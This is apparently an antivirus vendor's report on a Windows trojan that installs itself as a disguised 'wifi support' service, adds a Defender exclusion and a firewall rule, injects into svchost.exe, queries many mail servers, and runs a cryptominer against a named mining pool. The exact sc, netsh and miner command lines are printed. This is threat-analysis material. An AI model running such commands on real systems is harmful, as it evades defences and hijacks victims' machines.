Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\vsfonbsu] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\vsfonbsu] 'ImagePath' = '%WINDIR%\SysWOW64\vsfonbsu\enhmedyu.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\vsfonbsu] 'ImagePath' = '%WINDIR%\SysWOW64\vsfonbsu\enhmedyu.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\vsfonbsu' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\enhmedyu.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\enhmedyu.exe to %WINDIR%\syswow64\vsfonbsu\enhmedyu.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK el###.omakaista.fi
- DNS ASK gi#.com
- DNS ASK pc##.#anasonic.fi
- DNS ASK pp.##stellum.fi
- DNS ASK fi###gen.otm.fi
- DNS ASK ds#.inet.fi
- DNS ASK mx.##ission.com
- DNS ASK us##a.com
- DNS ASK co##rt.fi
- DNS ASK cl##et.fi
- DNS ASK ta#####rkompressorit.fi
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ya##o.co.in
- DNS ASK ja##.#ath.jyu.fi
- DNS ASK va##o.com
- DNS ASK ma##.centrum.dk
- DNS ASK bm###p.htk.fi
- DNS ASK vr###w.oulu.fi
- DNS ASK li###ing.abo.fi
- DNS ASK mx#.#op-re.com
- DNS ASK qo##re.com
- DNS ASK ma####.mailtwo.com
- DNS ASK ad##ess.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK mx##.###.filter-mail.com
- DNS ASK
- DNS ASK si####s4jesus.com
- DNS ASK k-####etrecords.com
- DNS ASK ot##.tky.hut.fi
- DNS ASK fr####oreclub.com
- DNS ASK ya##o.fr
- DNS ASK fi####galove.com
- DNS ASK e-#####lovetomorrow.com
- DNS ASK e-#####lovetoday.com
- DNS ASK e-####dlovenow.com
- DNS ASK e-####dlovenew.com
- DNS ASK ch######.##il.protection.outlook.com
- DNS ASK ch##i.dk
- DNS ASK e-#####lovefuture.com
- DNS ASK i-####tohowl.com
- DNS ASK po###.tele.dk
- DNS ASK i-####togrin.com
- DNS ASK i-####tochuckle.com
- DNS ASK fp##.mail.dk
- DNS ASK e-####tochuckle.com
- DNS ASK ka#####ava.teampac.fi
- DNS ASK ce##rum.dk
- DNS ASK an##em.com
- DNS ASK mx.##xmail.com
- DNS ASK co####ternet.com
- DNS ASK mx#.#anmail.net
- DNS ASK ha##ail.net
- DNS ASK mx##.##tzenitmail.dk
- DNS ASK fl##t.dk
- DNS ASK 3d###nsion.dk
- DNS ASK in#.#anadoo.es
- DNS ASK er##mas.com
- DNS ASK mx#.##internet.com
- DNS ASK mm###ernet.com
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK ex##te.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK re###.hogia.fi
- DNS ASK mx#######f02.gslb.pphosted.com
- DNS ASK hs##.com
- DNS ASK aspmx.l.google.com
- DNS ASK d-##am.it
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK po####onwatch.com
- DNS ASK sa#####.##il.protection.outlook.com
- DNS ASK sa#o.fi
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK gm##l.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK bt###ernet.com
- DNS ASK ko##.hut.fi
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK az##ves.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK fo####ovelife.com
- DNS ASK wi###edonps.com
- DNS ASK sh###out.com
- DNS ASK mi####.bittubeapp.com
- DNS ASK mx##.#mig.gmx.net
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK gm#.at
- DNS ASK mx#.#i.com.br
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK br###bo.com.br
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ka##.ramk.fi
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK to####jardin.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK ya##o.com
- DNS ASK po##.tele.dk
- DNS ASK mx#.##ystal.co.uk
- DNS ASK fa##.org
- DNS ASK ba###rco.com
- DNS ASK ad##ek.com
- DNS ASK mx######ort.core.plus.net
- DNS ASK wa###ose.com
- DNS ASK li######.#lc.protection.outlook.com
- DNS ASK li##.com
- DNS ASK ma##.#icrostep.fi
- DNS ASK mi###step.fi
- DNS ASK ra#####.lfg.l-fashion.fi
- DNS ASK ma##.avoine.com
- DNS ASK in###.optinet.fi
- DNS ASK mx##.#aramail.com
- DNS ASK ca###ail.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK sp###.savycloud.com
- DNS ASK hd##st.com
- DNS ASK mx.##team.it
- DNS ASK ma##.htk.fi
- DNS ASK or##non.fi
- DNS ASK tr###sphere.fi
- DNS ASK cc.#ut.fi
- DNS ASK yk###6040t.fi
- DNS ASK me##rex.fi
- DNS ASK fr###iernet.net
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ho###il.co.uk
- DNS ASK ds#.###.##stomers.dnainternet.fi
- DNS ASK google.com
- DNS ASK vi####l.finland.fi
- DNS ASK AS####.GOOGLEMAIL.COM
- DNS ASK mx###.mb5p.com
- DNS ASK fo####ovenew.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\vsfonbsu\enhmedyu.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vsfonbsu\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\enhmedyu.exe" %WINDIR%\SysWOW64\vsfonbsu\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create vsfonbsu binPath= "%WINDIR%\SysWOW64\vsfonbsu\enhmedyu.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description vsfonbsu "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start vsfonbsu' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vsfonbsu\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\enhmedyu.exe" %WINDIR%\SysWOW64\vsfonbsu\
- '%WINDIR%\syswow64\sc.exe' create vsfonbsu binPath= "%WINDIR%\SysWOW64\vsfonbsu\enhmedyu.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description vsfonbsu "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start vsfonbsu
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3GJeLpK9P2RqEpCXWpirL9u7wrGwoPmTJTemNtc7QpSTE24ybGdgtBmXSxhkTitLPyRh8sVz7qmM9TYnhXoZ6G1kARcnhMT.60000 -p x -k
